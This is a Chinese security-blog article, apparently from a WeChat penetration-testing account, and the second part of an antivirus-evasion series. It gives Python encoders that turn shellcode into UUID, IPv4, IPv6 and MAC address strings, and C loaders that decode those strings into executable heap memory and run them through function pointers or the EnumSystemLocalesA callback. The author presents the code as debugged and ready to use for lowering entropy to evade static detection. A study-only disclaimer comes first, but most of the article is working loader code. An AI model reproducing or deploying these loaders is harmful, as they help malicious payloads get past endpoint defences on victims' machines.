本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。(为什么这篇是二,因为一还没准备好)相比于传统加密,还有shellcode的转换方式,例如转化成UUID,Ipv4地址等,这类方式跟传统加密比有一个优势就是可以降低程序的熵值,预防AV(杀毒软件)因程序熵值过高的查下,下面举的都是常见的例子,且代码已经调试完,拿来即用。
2.1 UUID
UUID(通用唯一标识符)
是什么这里不详细介绍了,它的应用还是很广泛的。
先来举个我们正常在堆上创建空间并shellcode分配执行的代码。
#include <iostream>
#include<windows.h>
unsigned char aaa[] = "x48x81xECx00x01.......";
int main()
{
//创建堆对象
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
//为堆对象申请空间
void* ha = HeapAlloc(hc, 0, sizeof(aaa));
//将aaa的内容放到申请的堆空间处
memcpy(ha,aaa,sizeof(aaa));
//函数指针方式调用
((void(*)())ha)();
}
我这里的aaa用的是计算器的shellcode,所以我们看一下堆中的内容,也就是ha指向的地址的内容,可以看到正是我们一开始计算器的shellcode
接下来研究UUID的形式去执行shellcode
首先介绍两个函数UuidFromStringA
,函数是用于将字符串格式的 UUID转换为 UUID 结构的函数。它是在 Windows 平台上的 Rpcrt4.dll 库中定义的函数,它的两个参数含义如下。
-
StringUuid
:要转换为 UUID 的字符串,以 NULL 结尾。 -
Uuid
:指向 UUID 结构的指针,用于接收转换后的 UUID 值。
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
那么我们利用这个函数将字符串类型的UUID,变成UUID结构的值,然后放到指定位置,也就是利用这个函数将伪装成uuid形式的shellcode放到堆中。
先来个python脚本先将shellcode转换为uuid字符串
import json
import uuid
shellcode = b"x48x81xECx00x01......."
#确保shellcode长度为16的整数倍
if len(shellcode)%16 != 0:
shellcode += b"x00" * (16 - (len(shellcode)%16))
uuid_list = []
#不断循环将16个字节转换成uuid形式,每组uuid存到列表中
for i in range(0,len(shellcode),16):
hex_byte = shellcode[i:i+16]
uid = uuid.UUID(bytes_le=hex_byte)
uuid_list.append(str(uid))
print(json.dumps(uuid_list))
C语言代码如下
#include <iostream>
#include<windows.h>
//由于要用到UuidFromStringA所以引入Rpcrt4.lib
#pragma comment(lib, "Rpcrt4.lib")
const char* aaa[] = { "00ec8148-0001-6500-488b-042560000000", "18408b48-8b48-3040-488b-7010488b5840"......};
int main()
{
//创建堆对象
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
//为堆对象申请空间
void* ha = HeapAlloc(hc, 0, sizeof(aaa));
//方便指针计算
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(aaa) / sizeof(aaa[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)aaa[i], (UUID*)hap);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hap += 16;
}
//函数指针方式调用
((void(*)())ha)();
}
同样的我们再来看一下ha
指向的位置,可以看到内容跟我们手动将shellcode复制过去是一样的,相当于换了个思路
不过在实际应用中,现在使用函数指针方式执行基本上杀软都给G了,所以可以使用回调函数的形式,将函数指针调用改成回调函数调用形式如下:
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
2.2 IPv4
IPv4形式和UUID类似,就是先将shellcode变成ipv4形式,然后放到加载器中还原回来
先用python脚本先将shellcode转换为ipv4字符串
from ipaddress import ip_address
import json
shellcode = b'x48x81xECx00x01'
ipv4 = []
#确保shellcode长度为4的整数倍
if len(shellcode) % 4 != 0:
shellcode += b"x00" * (4 - (len(shellcode)%4))
#循环,每次取4个数,转换成ipv4形式
i = 4
while i <= len(shellcode):
a_ipv4 = shellcode[i-4:i]
ipv4.append(str(ip_address(a_ipv4)))
i += 4
print(json.dumps(ipv4))
这里主要用到函数RtlIpv4StringToAddressA
,就是将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址。它的函数定义如下
NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
[in] PCSTR S,
[in] BOOLEAN Strict,
[out] PCSTR *Terminator,
[out] in_addr *Addr
);
参数含义如下:
[in] S:一个指向包含以NULL结尾的IPv4地址字符串表示的缓冲区的指针。
[in] Strict:表示字符串是否必须是以严格的四部分点分十进制表示法表示的IPv4地址。
[out] Terminator:接收转换后字符串的终止字符的指针。
[out] Add:存储 IPv4 地址的二进制表示形式的指针。
C语言代码如下
#include <iostream>
#include <windows.h>
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")
const char* code[] = { "252.72.131.228", "240.232.200.0" };
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
void* ha = HeapAlloc(hc, 0, sizeof(code));
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(code) / sizeof(code[0]);
//创建一个变量,接收转换后字符串的终止字符的指针
PCSTR Terminator = "";
//循环去将每一个ipv4地址以此存到指定地址,并且每次调用函数时进行判断如果函数调用失败输出错误信息并结束程序
for (int i = 0; i < elems; i++) {
if (RtlIpv4StringToAddressA(code[i], FALSE, &Terminator, (in_addr*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 4;
}
}
这里主要讲一下RtlIpv4StringToAddressA
函数的4个参数,首先第一个不用多说就是我们要转换的字符串形式的Ipv4的字符串,第二个参数是个布尔类型表示,如果该参数为TRUE,则字符串必须是四部分的点分十进制表示法。如果该参数为FALSE,则允许四种可能的形式,包括十进制、八进制或十六进制表示法。第四个参数是个指针,指向转换后的二进制Ipv4要存的地址。再反过来说第三个参数,第三个参数也是一个指针,它指向IPv4还是字符串时候的终止位置
下面举例解释一下第三个参数,由于我们声明的code数组是全局的,所以它存的位置不是栈中,而是静态存储区,上面程序为例,我们去详细看一下,如下图可以看到我们的两组存到数组中的Ipv4字符串的第一组,在内存中存到了起始位置是0x00007FF78030ABB0
,这个时候当我们执行第一次循环,第一次调用RtlIpv4StringToAddressA
函数的时候,它就会将下边第一组ipv4的末尾地址赋值给Terminator
,那么对应位置也就是第一行,30后边那个00
我们直接看一下Terminator
地址是否跟我们分析的相同,完全没问题
于是这里我们就可以知道第二次循环,Terminator
的地址应该为第二组ipv4的末尾对应上图的位置,地址也就是0x00007FF78030ABCF
同理也可以正常执行
2.3 Ipv6
Ipv4如果彻底弄明白了之后,ipv6就变得很简单了,首先python脚本,照ipv4的改改就好了,无非就是将字节转换成ipv4地址的函数变成转ipv6的,并且改一下确保生成的长度,这里有个问题ipv4的长度是4,Ipv6的是多少呢?
from ipaddress import IPv6Address
import json
shellcode = b'x48x81xECx00x01'
ipv6 = []
#确保shellcode长度为16的整数倍
if len(shellcode) % 16 != 0:
shellcode += b"x00" * (16 - (len(shellcode)%16))
#循环,每次取16个数,转换成ipv6形式
i = 16
while i <= len(shellcode):
a_ipv6 = shellcode[i-16:i]
ipv6.append(str(IPv6Address(a_ipv6)))
i += 16
print(json.dumps(ipv6))
简单运行一下没有问题
C语言代码就更简单了,直接把原来的代码拿过来换个函数和传参就可以了。
这回用到的函数是RtlIpv6StringToAddressA
,它跟RtlIpv4StringToAddressA
异曲同工,只不过一个是转换的是Ipv6地址,一个转的是Ipv4的,而且要注意RtlIpv6StringToAddressA
它相比于转ipv4的函数少了一个参数,就是那个布尔类型的参数。
#include <iostream>
#include <windows.h>
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")
const char* code[] = { "4881:ec00:100:65:488b:425:6000:0", "488b:4018:488b::" };
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
void* ha = HeapAlloc(hc, 0, sizeof(code));
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(code) / sizeof(code[0]);
PCSTR Terminator = "";
for (int i = 0; i < elems; i++) {
if (RtlIpv6StringToAddressA(code[i], &Terminator, (in6_addr*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
}
同样也可以正常执行
2.4 MAC
有了Ipv4和Ipv6的基础,MAC地址的转换也很容易
python代码如下,我们用到了ctypes函数库,这个函数库是为了执行用于C语言进行交互的,因为我们要用到两个函数,RtlEthernetAddressToStringA
和string_at
函数说明:
RtlEthernetAddressToStringA
是 Windows API 中的一个函数,用于将以太网地址(MAC 地址)转换为字符串表示形式。
string_at
是 ctypes 库中的一个函数,用于从指定内存地址中读取指定长度的数据,并返回一个 Python 字符串对象。
==注意:==
这里用的是python2运行的,亲测用python3调用RtlEthernetAddressToStringA会出错
# -*- coding: utf-8 -*-
import ctypes
import json
shellcode = b'x48x81xECx00x01x48x81'
#确保shellcode是6的整数倍数
if len(shellcode) % 6 != 0:
shellcode += b"x00" * (6 - (len(shellcode)%6))
#一组mac地址需要6个shellcode中的字节,然后这组shellcode变成mac形式的时候长度为17
#例:x48x81xECx00x01x48 --> 48-81-EC-00-01-48 (长度为17)
mac = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17,0x3000,0x40)
macs = []
for i in range(len(shellcode)/6):
bytes_a = shellcode[i*6:(1+i)*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, mac+i*17)
#第一个参数为起始地址,第二次参数为步长
a_mac = ctypes.string_at(mac+i*17,17)
macs.append(a_mac)
print(json.dumps(macs))
C语言代码更简单,改个函数,和步长的事
#include <iostream>
#include <windows.h>
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")
const char* code[] = { "48-81-EC-00-01-00", "00-65-48-8B-04-25"};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, sizeof(code));
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(code) / sizeof(code[0]);
PCSTR Terminator = "";
for (int i = 0; i < elems; i++) {
if (RtlEthernetStringToAddressA(code[i], &Terminator, (DL_EUI48*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 6;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
}
2.5 单词
除了上述方法外,还可以自定义单词列表,并设定对应关系,具体的代码这里不做演示,可以自行网上查找,这里举例一个示例项目,它的原理就是将shellcode转化成神奇宝贝的单词,同样也能达到降熵效果。
https://github.com/Techryptic/Pokemon-Shellcode-Loader
原文始发于微信公众号(小惜渗透):【免杀2】过静态--shellcode编码(降熵)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论